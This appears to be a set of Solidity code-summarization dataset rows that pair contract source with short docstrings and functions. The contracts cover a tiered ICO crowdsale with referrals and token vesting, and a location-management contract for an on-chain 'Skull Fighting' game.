require(!isHardCapAchieved(_usdAmount.sub(1))); uint256 tokensAvailable = allocator.tokensAvailable(); uint256 collectedWei = contributionForwarder.weiCollected(); uint256 tierIndex = pricing.getTierIndex(); uint256 tokens; uint256 tokensExcludingBonus; uint256 bonus; (tokens, tokensExcludingBonus, bonus) = pricing.getTokens( _contributor, tokensAvailable, tokensSold, _usdAmount, collectedWei); require(tokens > 0); tokensSold = tokensSold.add(tokens); allocator.allocate(_contributor, tokens); //allocate Processing fee uint256 processingFeeAmount = tokens.mul(processingFeePercentage).div(percentageAbsMax); allocator.allocate(processingFeeAddress, processingFeeAmount); if (isSoftCapAchieved(_usdAmount)) { if (msg.value > 0) { contributionForwarder.forward.value(address(this).balance)(); } } else { // store contributor if it is not stored before if (contributorsWei[_contributor] == 0) { contributors.push(_contributor); } if (msg.value > 0) { contributorsWei[_contributor] = contributorsWei[_contributor].add(msg.value); } } usdCollected = usdCollected.add(_usdAmount); crowdsaleAgent.onContribution(_contributor, tierIndex, tokensExcludingBonus, bonus); emit Contribution(_contributor, _usdAmount, tokensExcludingBonus, bonus); emit ProcessingFeeAllocation(_contributor, processingFeeAmount); } } contract USDExchange is Ownable { using SafeMath for uint256; uint256 public etherPriceInUSD; uint256 public priceUpdateAt; mapping(address => bool) public trustedAddresses; event NewPriceTicker(string _price); modifier onlyTursted() { require(trustedAddresses[msg.sender] == true); _; } constructor(uint256 _etherPriceInUSD) public { etherPriceInUSD = _etherPriceInUSD; priceUpdateAt = block.timestamp; trustedAddresses[msg.sender] = true; } function setTrustedAddress(address _address, bool _status) public onlyOwner { trustedAddresses[_address] = _status; } // set ether price in USD with 5 digits after the decimal point //ex. 308.75000 //for updating the price through multivest function setEtherInUSD(string _price) public onlyTursted { bytes memory bytePrice = bytes(_price); uint256 dot = bytePrice.length.sub(uint256(6)); // check if dot is in 6 position from the last require(0x2e == uint(bytePrice[dot])); uint256 newPrice = uint256(10 ** 23).div(parseInt(_price, 5)); require(newPrice > 0); etherPriceInUSD = parseInt(_price, 5); priceUpdateAt = block.timestamp; emit NewPriceTicker(_price); } function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint res = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((bresult[i] >= 48) && (bresult[i] <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } res *= 10; res += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) res *= 10 ** _b; return res; } } /// @title PricingStrategy /// @author Applicature /// @notice Contract is responsible for calculating tokens amount depending on different criterias /// @dev Base class contract PricingStrategy { function isInitialized() public view returns (bool); function getTokens( address _contributor, uint256 _tokensAvailable, uint256 _tokensSold, uint256 _weiAmount, uint256 _collectedWei ) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus); function getWeis( uint256 _collectedWei, uint256 _tokensSold, uint256 _tokens ) public view returns (uint256 weiAmount, uint256 tokensBonus); } /// @title USDDateTiersPricingStrategy /// @author Applicature /// @notice Contract is responsible for calculating tokens amount depending on price in USD /// @dev implementation contract USDDateTiersPricingStrategy is PricingStrategy, USDExchange { using SafeMath for uint256; //tokenInUSD token price in usd * 10 ^ 5 //maxTokensCollected max tokens amount that can be distributed //bonusCap tokens amount cap; while sold tokens < bonus cap - contributors will receive bonus % tokens //soldTierTokens tokens that already been sold //bonusTierTokens bonus tokens that already been allocated //bonusPercents bonus percentage //minInvestInUSD min investment in usd * 10 * 5 //startDate tier start time //endDate tier end time struct Tier { uint256 tokenInUSD; uint256 maxTokensCollected; uint256 bonusCap; uint256 soldTierTokens; uint256 bonusTierTokens; uint256 bonusPercents; uint256 minInvestInUSD; uint256 startDate; uint256 endDate; } Tier[] public tiers; uint256 public decimals; constructor(uint256[] _tiers, uint256 _decimals, uint256 _etherPriceInUSD) public USDExchange(_etherPriceInUSD) { decimals = _decimals; trustedAddresses[msg.sender] = true; require(_tiers.length % 9 == 0); uint256 length = _tiers.length / 9; for (uint256 i = 0; i < length; i++) { tiers.push( Tier( _tiers[i * 9], _tiers[i * 9 + 1], _tiers[i * 9 + 2], _tiers[i * 9 + 3], _tiers[i * 9 + 4], _tiers[i * 9 + 5], _tiers[i * 9 + 6], _tiers[i * 9 + 7], _tiers[i * 9 + 8] ) ); } } /// @return tier index function getTierIndex() public view returns (uint256) { for (uint256 i = 0; i < tiers.length; i++) { if ( block.timestamp >= tiers[i].startDate && block.timestamp < tiers[i].endDate && tiers[i].maxTokensCollected > tiers[i].soldTierTokens ) { return i; } } return tiers.length; } function getActualTierIndex() public view returns (uint256) { for (uint256 i = 0; i < tiers.length; i++) { if ( block.timestamp >= tiers[i].startDate && block.timestamp < tiers[i].endDate && tiers[i].maxTokensCollected > tiers[i].soldTierTokens || block.timestamp < tiers[i].startDate ) { return i; } } return tiers.length.sub(1); } /// @return actual dates function getActualDates() public view returns (uint256 startDate, uint256 endDate) { uint256 tierIndex = getActualTierIndex(); startDate = tiers[tierIndex].startDate; endDate = tiers[tierIndex].endDate; } /// @return tokens based on sold tokens and wei amount function getTokens( address, uint256 _tokensAvailable, uint256, uint256 _usdAmount, uint256 ) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus) { if (_usdAmount == 0) { return (0, 0, 0); } uint256 tierIndex = getTierIndex(); if (tierIndex < tiers.length && _usdAmount < tiers[tierIndex].minInvestInUSD) { return (0, 0, 0); } if (tierIndex == tiers.length) { return (0, 0, 0); } tokensExcludingBonus = _usdAmount.mul(1e18).div(getTokensInUSD(tierIndex)); if (tiers[tierIndex].maxTokensCollected < tiers[tierIndex].soldTierTokens.add(tokensExcludingBonus)) { return (0, 0, 0); } bonus = calculateBonusAmount(tierIndex, tokensExcludingBonus); tokens = tokensExcludingBonus.add(bonus); if (tokens > _tokensAvailable) { return (0, 0, 0); } } /// @return usd amount based on required tokens function getUSDAmountByTokens( uint256 _tokens ) public view returns (uint256 totalUSDAmount, uint256 tokensBonus) { if (_tokens == 0) { return (0, 0); } uint256 tierIndex = getTierIndex(); if (tierIndex == tiers.length) { return (0, 0); } if (tiers[tierIndex].maxTokensCollected < tiers[tierIndex].soldTierTokens.add(_tokens)) { return (0, 0); } totalUSDAmount = _tokens.mul(getTokensInUSD(tierIndex)).div(1e18); if (totalUSDAmount < tiers[tierIndex].minInvestInUSD) { return (0, 0); } tokensBonus = calculateBonusAmount(tierIndex, _tokens); } /// @return weis based on sold and required tokens function getWeis( uint256, uint256, uint256 _tokens ) public view returns (uint256 totalWeiAmount, uint256 tokensBonus) { uint256 usdAmount; (usdAmount, tokensBonus) = getUSDAmountByTokens(_tokens); if (usdAmount == 0) { return (0, 0); } totalWeiAmount = usdAmount.mul(1e18).div(etherPriceInUSD); } /// calculates bonus tokens amount by bonusPercents in case if bonusCap is not reached; /// if reached returns 0 /// @return bonus tokens amount function calculateBonusAmount(uint256 _tierIndex, uint256 _tokens) public view returns (uint256 bonus) { if (tiers[_tierIndex].soldTierTokens < tiers[_tierIndex].bonusCap) { if (tiers[_tierIndex].soldTierTokens.add(_tokens) <= tiers[_tierIndex].bonusCap) { bonus = _tokens.mul(tiers[_tierIndex].bonusPercents).div(100); } else { bonus = (tiers[_tierIndex].bonusCap.sub(tiers[_tierIndex].soldTierTokens)) .mul(tiers[_tierIndex].bonusPercents).div(100); } } } function getTokensInUSD(uint256 _tierIndex) public view returns (uint256) { if (_tierIndex < uint256(tiers.length)) { return tiers[_tierIndex].tokenInUSD; } } function getMinEtherInvest(uint256 _tierIndex) public view returns (uint256) { if (_tierIndex < uint256(tiers.length)) { return tiers[_tierIndex].minInvestInUSD.mul(1 ether).div(etherPriceInUSD); } } function getUSDAmountByWeis(uint256 _weiAmount) public view returns (uint256) { return _weiAmount.mul(etherPriceInUSD).div(1 ether); } /// @notice Check whether contract is initialised /// @return true if initialized function isInitialized() public view returns (bool) { return true; } /// @notice updates tier start/end dates by id function updateDates(uint8 _tierId, uint256 _start, uint256 _end) public onlyOwner() { if (_start != 0 && _start < _end && _tierId < tiers.length) { Tier storage tier = tiers[_tierId]; tier.startDate = _start; tier.endDate = _end; } } } contract CHLPricingStrategy is USDDateTiersPricingStrategy { CHLAgent public agent; modifier onlyAgent() { require(msg.sender == address(agent)); _; } event MaxTokensCollectedDecreased(uint256 tierId, uint256 oldValue, uint256 amount); constructor( uint256[] _emptyArray, uint256[4] _periods, uint256 _etherPriceInUSD ) public USDDateTiersPricingStrategy(_emptyArray, 18, _etherPriceInUSD) { //pre-ico tiers.push(Tier(0.75e5, 6247500e18, 0, 0, 0, 0, 100e5, _periods[0], _periods[1])); //public ico tiers.push(Tier(3e5, 32725000e18, 0, 0, 0, 0, 100e5, _periods[2], _periods[3])); } function getArrayOfTiers() public view returns (uint256[12] tiersData) { uint256 j = 0; for (uint256 i = 0; i < tiers.length; i++) { tiersData[j++] = uint256(tiers[i].tokenInUSD); tiersData[j++] = uint256(tiers[i].maxTokensCollected); tiersData[j++] = uint256(tiers[i].soldTierTokens); tiersData[j++] = uint256(tiers[i].minInvestInUSD); tiersData[j++] = uint256(tiers[i].startDate); tiersData[j++] = uint256(tiers[i].endDate); } } function updateTier( uint256 _tierId, uint256 _start, uint256 _end, uint256 _minInvest, uint256 _price, uint256 _bonusCap, uint256 _bonus, bool _updateLockNeeded ) public onlyOwner() { require( _start != 0 && _price != 0 && _start < _end && _tierId < tiers.length ); if (_updateLockNeeded) { agent.updateLockPeriod(_end); } Tier storage tier = tiers[_tierId]; tier.tokenInUSD = _price; tier.minInvestInUSD = _minInvest; tier.startDate = _start; tier.endDate = _end; tier.bonusCap = _bonusCap; tier.bonusPercents = _bonus; } function setCrowdsaleAgent(CHLAgent _crowdsaleAgent) public onlyOwner { agent = _crowdsaleAgent; } function updateTierTokens(uint256 _tierId, uint256 _soldTokens, uint256 _bonusTokens) public onlyAgent { require(_tierId < tiers.length && _soldTokens > 0); Tier storage tier = tiers[_tierId]; tier.soldTierTokens = tier.soldTierTokens.add(_soldTokens); tier.bonusTierTokens = tier.bonusTierTokens.add(_bonusTokens); } function updateMaxTokensCollected(uint256 _tierId, uint256 _amount) public onlyAgent { require(_tierId < tiers.length && _amount > 0); Tier storage tier = tiers[_tierId]; require(tier.maxTokensCollected.sub(_amount) >= tier.soldTierTokens.add(tier.bonusTierTokens)); emit MaxTokensCollectedDecreased(_tierId, tier.maxTokensCollected, _amount); tier.maxTokensCollected = tier.maxTokensCollected.sub(_amount); } function getTokensWithoutRestrictions(uint256 _usdAmount) public view returns ( uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus ) { if (_usdAmount == 0) { return (0, 0, 0); } uint256 tierIndex = getActualTierIndex(); tokensExcludingBonus = _usdAmount.mul(1e18).div(getTokensInUSD(tierIndex)); bonus = calculateBonusAmount(tierIndex, tokensExcludingBonus); tokens = tokensExcludingBonus.add(bonus); } function getTierUnsoldTokens(uint256 _tierId) public view returns (uint256) { if (_tierId >= tiers.length) { return 0; } return tiers[_tierId].maxTokensCollected.sub(tiers[_tierId].soldTierTokens); } function getSaleEndDate() public view returns (uint256) { return tiers[tiers.length.sub(1)].endDate; } } contract Referral is Ownable { using SafeMath for uint256; MintableTokenAllocator public allocator; CrowdsaleImpl public crowdsale; uint256 public constant DECIMALS = 18; uint256 public totalSupply; bool public unLimited; bool public sentOnce; mapping(address => bool) public claimed; mapping(address => uint256) public claimedBalances; constructor( uint256 _totalSupply, address _allocator, address _crowdsale, bool _sentOnce ) public { require(_allocator != address(0) && _crowdsale != address(0)); totalSupply = _totalSupply; if (totalSupply == 0) { unLimited = true; } allocator = MintableTokenAllocator(_allocator); crowdsale = CrowdsaleImpl(_crowdsale); sentOnce = _sentOnce; } function setAllocator(address _allocator) public onlyOwner { if (_allocator != address(0)) { allocator = MintableTokenAllocator(_allocator); } } function setCrowdsale(address _crowdsale) public onlyOwner { require(_crowdsale != address(0)); crowdsale = CrowdsaleImpl(_crowdsale); } function multivestMint( address _address, uint256 _amount, uint8 _v, bytes32 _r, bytes32 _s ) public { require(true == crowdsale.signers(verify(msg.sender, _amount, _v, _r, _s))); if (true == sentOnce) { require(claimed[_address] == false); claimed[_address] = true; } require( _address == msg.sender && _amount > 0 && (true == unLimited || _amount <= totalSupply) ); claimedBalances[_address] = claimedBalances[_address].add(_amount); if (false == unLimited) { totalSupply = totalSupply.sub(_amount); } allocator.allocate(_address, _amount); } /// @notice check sign function verify(address _sender, uint256 _amount, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(_sender, _amount)); bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(abi.encodePacked(prefix, hash)), _v, _r, _s); } } contract CHLReferral is Referral { CHLPricingStrategy public pricingStrategy; constructor( address _allocator, address _crowdsale, CHLPricingStrategy _strategy ) public Referral(1190000e18, _allocator, _crowdsale, true) { require(_strategy != address(0)); pricingStrategy = _strategy; } function multivestMint( address _address, uint256 _amount, uint8 _v, bytes32 _r, bytes32 _s ) public { require(pricingStrategy.getSaleEndDate() <= block.timestamp); super.multivestMint(_address, _amount, _v, _r, _s); } } contract CHLAllocation is Ownable { using SafeMath for uint256; MintableTokenAllocator public allocator; CHLAgent public agent; //manualMintingSupply = Advisors 2975000 + Bounty 1785000 + LWL (Non Profit Initiative) 1190000 uint256 public manualMintingSupply = 5950000e18; uint256 public foundersVestingAmountPeriodOne = 7140000e18; uint256 public foundersVestingAmountPeriodTwo = 2975000e18; uint256 public foundersVestingAmountPeriodThree = 1785000e18; address[] public vestings; address public foundersAddress; bool public isFoundersTokensSent; event VestingCreated( address _vesting, address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _periods, bool _revocable ); event VestingRevoked(address _vesting); constructor(MintableTokenAllocator _allocator, address _foundersAddress) public { require(_foundersAddress != address(0)); foundersAddress = _foundersAddress; allocator = _allocator; } function setAllocator(MintableTokenAllocator _allocator) public onlyOwner { require(_allocator != address(0)); allocator = _allocator; } function setAgent(CHLAgent _agent) public onlyOwner { require(_agent != address(0)); agent = _agent; } function allocateManualMintingTokens(address[] _addresses, uint256[] _tokens) public onlyOwner { require(_addresses.length == _tokens.length); for (uint256 i = 0; i < _addresses.length; i++) { require(_addresses[i] != address(0) && _tokens[i] > 0 && _tokens[i] <= manualMintingSupply); manualMintingSupply -= _tokens[i]; allocator.allocate(_addresses[i], _tokens[i]); } } function allocatePrivateSaleTokens( uint256 _tierId, uint256 _totalTokensSupply, uint256 _tokenPriceInUsd, address[] _addresses, uint256[] _tokens ) public onlyOwner { require( _addresses.length == _tokens.length && _totalTokensSupply > 0 ); agent.updateStateWithPrivateSale(_tierId, _totalTokensSupply, _totalTokensSupply.mul(_tokenPriceInUsd).div(1e18)); for (uint256 i = 0; i < _addresses.length; i++) { require(_addresses[i] != address(0) && _tokens[i] > 0 && _tokens[i] <= _totalTokensSupply); _totalTokensSupply = _totalTokensSupply.sub(_tokens[i]); allocator.allocate(_addresses[i], _tokens[i]); } require(_totalTokensSupply == 0); } function allocateFoundersTokens(uint256 _start) public { require(!isFoundersTokensSent && msg.sender == address(agent)); isFoundersTokensSent = true; allocator.allocate(foundersAddress, foundersVestingAmountPeriodOne); createVestingInternal( foundersAddress, _start, 0, 365 days, 1, true, owner, foundersVestingAmountPeriodTwo ); createVestingInternal( foundersAddress, _start, 0, 730 days, 1, true, owner, foundersVestingAmountPeriodThree ); } function createVesting( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _periods, bool _revocable, address _unreleasedHolder, uint256 _amount ) public onlyOwner returns (PeriodicTokenVesting vesting) { vesting = createVestingInternal( _beneficiary, _start, _cliff, _duration, _periods, _revocable, _unreleasedHolder, _amount ); } function revokeVesting(PeriodicTokenVesting _vesting, ERC20Basic token) public onlyOwner() { _vesting.revoke(token); emit VestingRevoked(_vesting); } function createVestingInternal( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _periods, bool _revocable, address _unreleasedHolder, uint256 _amount ) internal returns (PeriodicTokenVesting) { PeriodicTokenVesting vesting = new PeriodicTokenVesting( _beneficiary, _start, _cliff, _duration, _periods, _revocable, _unreleasedHolder ); vestings.push(vesting); emit VestingCreated(vesting, _beneficiary, _start, _cliff, _duration, _periods, _revocable); allocator.allocate(address(vesting), _amount); return vesting; } } /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } contract PeriodicTokenVesting is TokenVesting { address public unreleasedHolder; uint256 public periods; constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _periodDuration, uint256 _periods, bool _revocable, address _unreleasedHolder ) public TokenVesting(_beneficiary, _start, _cliff, _periodDuration, _revocable) { require(_revocable == false || _unreleasedHolder != address(0)); periods = _periods; unreleasedHolder = _unreleasedHolder; } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration * periods) || revoked[token]) { return totalBalance; } else { uint256 periodTokens = totalBalance.div(periods); uint256 periodsOver = now.sub(start).div(duration); if (periodsOver >= periods) { return totalBalance; } return periodTokens.mul(periodsOver); } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(unreleasedHolder, refund); emit Revoked(); } } contract Stats { using SafeMath for uint256; MintableToken public token; MintableTokenAllocator public allocator; CHLCrowdsale public crowdsale; CHLPricingStrategy public pricing; constructor( MintableToken _token, MintableTokenAllocator _allocator, CHLCrowdsale _crowdsale, CHLPricingStrategy _pricing ) public { token = _token; allocator = _allocator; crowdsale = _crowdsale; pricing = _pricing; } function getTokens( uint256 _type, uint256 _usdAmount ) public view returns (uint256 tokens, uint256 tokensExcludingBonus, uint256 bonus) { _type = _type; return pricing.getTokensWithoutRestrictions(_usdAmount); } function getWeis( uint256 _type, uint256 _tokenAmount ) public view returns (uint256 totalWeiAmount, uint256 tokensBonus) { _type = _type; return pricing.getWeis(0, 0, _tokenAmount); } function getUSDAmount( uint256 _type, uint256 _tokenAmount ) public view returns (uint256 totalUSDAmount, uint256 tokensBonus) { _type = _type; return pricing.getUSDAmountByTokens(_tokenAmount); } function getStats(uint256 _userType, uint256[7] _ethPerCurrency) public view returns ( uint256[8] stats, uint256[26] tiersData, uint256[21] currencyContr //tokensPerEachCurrency, ) { stats = getStatsData(_userType); tiersData = getTiersData(_userType); currencyContr = getCurrencyContrData(_userType, _ethPerCurrency); } function getTiersData(uint256 _type) public view returns ( uint256[26] tiersData ) { _type = _type; uint256[12] memory tiers = pricing.getArrayOfTiers(); uint256 length = tiers.length / 6; uint256 j = 0; for (uint256 i = 0; i < length; i++) { tiersData[j++] = uint256(1e23).div(tiers[i.mul(6)]);// tokenInUSD; tiersData[j++] = 0;// tokenInWei; tiersData[j++] = uint256(tiers[i.mul(6).add(1)]);// maxTokensCollected; tiersData[j++] = uint256(tiers[i.mul(6).add(2)]);// soldTierTokens; tiersData[j++] = 0;// discountPercents; tiersData[j++] = 0;// bonusPercents; tiersData[j++] = uint256(tiers[i.mul(6).add(3)]);// minInvestInUSD; tiersData[j++] = 0;// minInvestInWei; tiersData[j++] = 0;// maxInvestInUSD; tiersData[j++] = 0;// maxInvestInWei; tiersData[j++] = uint256(tiers[i.mul(6).add(4)]); // startDate; tiersData[j++] = uint256(tiers[i.mul(6).add(5)]); // endDate; tiersData[j++] = 1; } tiersData[25] = 2; } function getStatsData(uint256 _type) public view returns ( uint256[8] stats ) { _type = _type; stats[0] = token.maxSupply(); stats[1] = token.totalSupply(); stats[2] = crowdsale.maxSaleSupply(); stats[3] = crowdsale.tokensSold(); stats[4] = uint256(crowdsale.currentState()); stats[5] = pricing.getActualTierIndex(); stats[6] = pricing.getTierUnsoldTokens(stats[5]); stats[7] = pricing.getMinEtherInvest(stats[5]); } function getCurrencyContrData(uint256 _type, uint256[7] _usdPerCurrency) public view returns ( uint256[21] currencyContr ) { _type = _type; uint256 j = 0; for (uint256 i = 0; i < _usdPerCurrency.length; i++) { (currencyContr[j++], currencyContr[j++], currencyContr[j++]) = pricing.getTokensWithoutRestrictions( _usdPerCurrency[i] ); } } }
return actual dates
function getActualDates() public view returns (uint256 startDate, uint256 endDate) { uint256 tierIndex = getActualTierIndex(); startDate = tiers[tierIndex].startDate; endDate = tiers[tierIndex].endDate; }
5,374,419
pragma solidity ^0.4.24; contract MapOwner{ address public manager; // address of admin address public CEO; address public CTO; address public SFC; // address of Skull Fighting contract event TransferOwnership(address indexed _oldManager, address indexed _newManager); event SetNewSFC(address _oldSFC, address _newSFC); modifier onlyManager() { require(msg.sender == manager || msg.sender == SFC || msg.sender == CEO || msg.sender == CTO); _; } constructor() public { manager = msg.sender; CEO = msg.sender; CTO = msg.sender; } // transfer ownership of contract to new address function transferOwnership(address _newManager) external onlyManager returns (bool) { require(_newManager != address(0x0)); manager = _newManager; emit TransferOwnership(msg.sender, _newManager); return true; } function setCEO(address _newCEO) external onlyManager returns (bool) { require(_newCEO != address(0x0)); CEO = _newCEO; emit TransferOwnership(msg.sender, _newCEO); return true; } function setCTO(address _newCTO) external onlyManager returns (bool) { require(_newCTO != address(0x0)); CTO = _newCTO; emit TransferOwnership(msg.sender, _newCTO); return true; } // Set new SF address function setNewSF(address _newSFC) external onlyManager returns (bool) { require(_newSFC != address(0x0)); emit SetNewSFC(SFC, _newSFC); SFC = _newSFC; return true; } } contract LocationManagement is MapOwner{ // struct of one location, include: latitude and longitude struct Location{ uint64 latitude; uint64 longitude; } Location[] locations; // all locations already have verified // Current location belong to skull mapping (uint256 => Location[]) locationsOfSkull; // Show the Id of Skull, which is the boss of this location mapping (uint256 => uint256) locationIdToSkullId; event SetNewLocation(address indexed _manager, uint256 _newLocationId, uint64 _lat, uint64 _long); event UpdateLocationInfo(uint256 _locationId, uint64 _newLat, uint64 _newLong); event DeleteLocation(uint256 _locationId, uint64 _lat, uint64 _long); event UserPinNewLocation(address indexed _manager, uint256 _newLocationId, uint64 _lat, uint64 _long); event SetLocationToNewSkull(uint256 _skullId, uint64 _lat, uint64 _long, uint256 _oldOwnerId); event DeleteLocationFromSkull(uint256 _skullId, uint64 _lat, uint64 _long); /// Only Contract's Manager can set new location. /// By default, when set new location, owner of this location is Skull[0] function setNewLocation(uint64 _lat, uint64 _long) public onlyManager returns (uint256) { locations.push(Location({latitude: _lat, longitude: _long})); uint256 _newId = locations.length - 1; /// Id of new location if(msg.sender != SFC) emit SetNewLocation(msg.sender, _newId, _lat, _long); else{ emit UserPinNewLocation(msg.sender, _newId, _lat, _long); } return _newId; } /// Only Contract's Manager can set many new locations. function setNewLocations(uint64[] _arrLat, uint64[] _arrLong) public onlyManager { require(_arrLat.length == _arrLong.length); uint256 length = _arrLat.length; for(uint i = 0; i < length; i++) { locations.push(Location({latitude: _arrLat[i], longitude: _arrLong[i]})); uint256 _newLocationId = locations.length - 1; /// Id of new location emit SetNewLocation(msg.sender, _newLocationId, _arrLat[i], _arrLong[i]); } } // Update location info function updateLocationInfo(uint256 _locationId, uint64 _newLat, uint64 _newLong) public onlyManager { locations[_locationId].latitude = _newLat; locations[_locationId].longitude = _newLong; emit UpdateLocationInfo(_locationId, _newLat, _newLong); } // Manager can delete illegal location // We need to check this location have belong to what skull // if no, we just delete it // if yes, we need to delete mapping locationsOfSkull on this skull first, and then delete on array locations[] // When done.. // We set mapping location of skull (last) to new position of location function deleteLocation(uint256 _locationId) public onlyManager { require(_locationId < locations.length); uint256 arrLength = locations.length; // length of array locations[] uint64 lat = locations[_locationId].latitude; uint64 long = locations[_locationId].longitude; // check: if(_locationId != arrLength-1) // position in mid array { if(locationIdToSkullId[_locationId] == 0) { locations[_locationId] = locations[arrLength-1]; } else { deleteLocationFromSkull(locationIdToSkullId[_locationId], _locationId); locations[_locationId] = locations[arrLength-1]; } // set mapping location of skull (last) to new position of location if(locationIdToSkullId[arrLength-1] != 0) { locationIdToSkullId[_locationId] = locationIdToSkullId[arrLength-1]; } } else { // position on right and if(locationIdToSkullId[_locationId] != 0) { deleteLocationFromSkull(locationIdToSkullId[_locationId], _locationId); } } delete locations[arrLength-1]; // delete the last location locations.length--; // sud length by 1 emit DeleteLocation(_locationId, lat, long); } // Delete many locations function deleteLocations(uint64[] _lat, uint64[] _long) public onlyManager { require(_lat.length == _long.length); for(uint i = 0; i < _lat.length; i++) { for(uint j = 0; j < locations.length; j++) { if (_lat[i] == locations[j].latitude && _long[i] == locations[j].longitude) { deleteLocation(j); } } } } // Get location info by id from array locations[] function getLocationInfoById(uint256 _locationId) internal view returns (uint64 lat, uint64 long) { require(_locationId < locations.length); Location storage location = locations[_locationId]; return (location.latitude, location.longitude); } // Get location info by id from array locations[] function getLocationIdByLatLong(uint64 _lat, uint64 _long) public view returns (uint256 _id) { for(uint i = 0; i < locations.length; i++) { if(_lat == locations[i].latitude && _long == locations[i].longitude){ return i; } } return locations.length; } // Total locations are verified function getTotalLocations() public view returns (uint256) { return locations.length; } ///----------------------------------------------------------/// /// Get location information of Skull by index function getLocationInfoFromSkull(uint256 _skullId, uint _index) public view returns (uint256 locationId, uint64 lat, uint64 long) { Location storage location = locationsOfSkull[_skullId][_index]; locationId = getLocationIdByLatLong(location.latitude, location.longitude); return (locationId, location.latitude, location.longitude); } /// Get all location of each Skull function getTotalLocationOfSkull(uint256 _skullId) public view returns (uint) { return locationsOfSkull[_skullId].length; } /// Get Skull ID by Location ID function getLocationInfo(uint256 _locationId) public view returns(uint256 skullId, uint64 lat, uint64 long) { uint64 latitude; uint64 longitude; (latitude, longitude) = getLocationInfoById(_locationId); return (locationIdToSkullId[_locationId], latitude, longitude) ; } /// Set exist location to new skull function setLocationToSkull(uint256 _skullId, uint64 _lat, uint64 _long, uint256 _defenceLocationId) public onlyManager{ locationsOfSkull[_skullId].push(Location({latitude: _lat, longitude: _long})); locationIdToSkullId[_defenceLocationId] = _skullId; //set location to new skully emit SetLocationToNewSkull(_skullId, _lat, _long, _defenceLocationId); } /// Delete exist location in old skull function deleteLocationFromSkull(uint256 _skullId, uint256 _defenceLocationId) public onlyManager{ uint arrayLength = getTotalLocationOfSkull(_skullId); Location memory defenceLocation; (defenceLocation.latitude, defenceLocation.longitude) = getLocationInfoById(_defenceLocationId); uint i; //find index of defenceLocationId in array of skull for(i = 0; i < arrayLength; i++) { if(locationsOfSkull[_skullId][i].latitude == defenceLocation.latitude && locationsOfSkull[_skullId][i].longitude == defenceLocation.longitude) break; // already found } locationsOfSkull[_skullId][i] = locationsOfSkull[_skullId][arrayLength-1]; delete locationsOfSkull[_skullId][arrayLength-1]; locationsOfSkull[_skullId].length--; locationIdToSkullId[_defenceLocationId] = 0; // set skull of this location to 0 emit DeleteLocationFromSkull(_skullId, defenceLocation.latitude, defenceLocation.longitude); } }
Update location info
function updateLocationInfo(uint256 _locationId, uint64 _newLat, uint64 _newLong) public onlyManager { locations[_locationId].latitude = _newLat; locations[_locationId].longitude = _newLong; emit UpdateLocationInfo(_locationId, _newLat, _newLong); }
12,746,313
./partial_match/1/0xDf100fa9A871669F1c99649fE7852Ff45228a83B/sources/Star3Dlong.sol
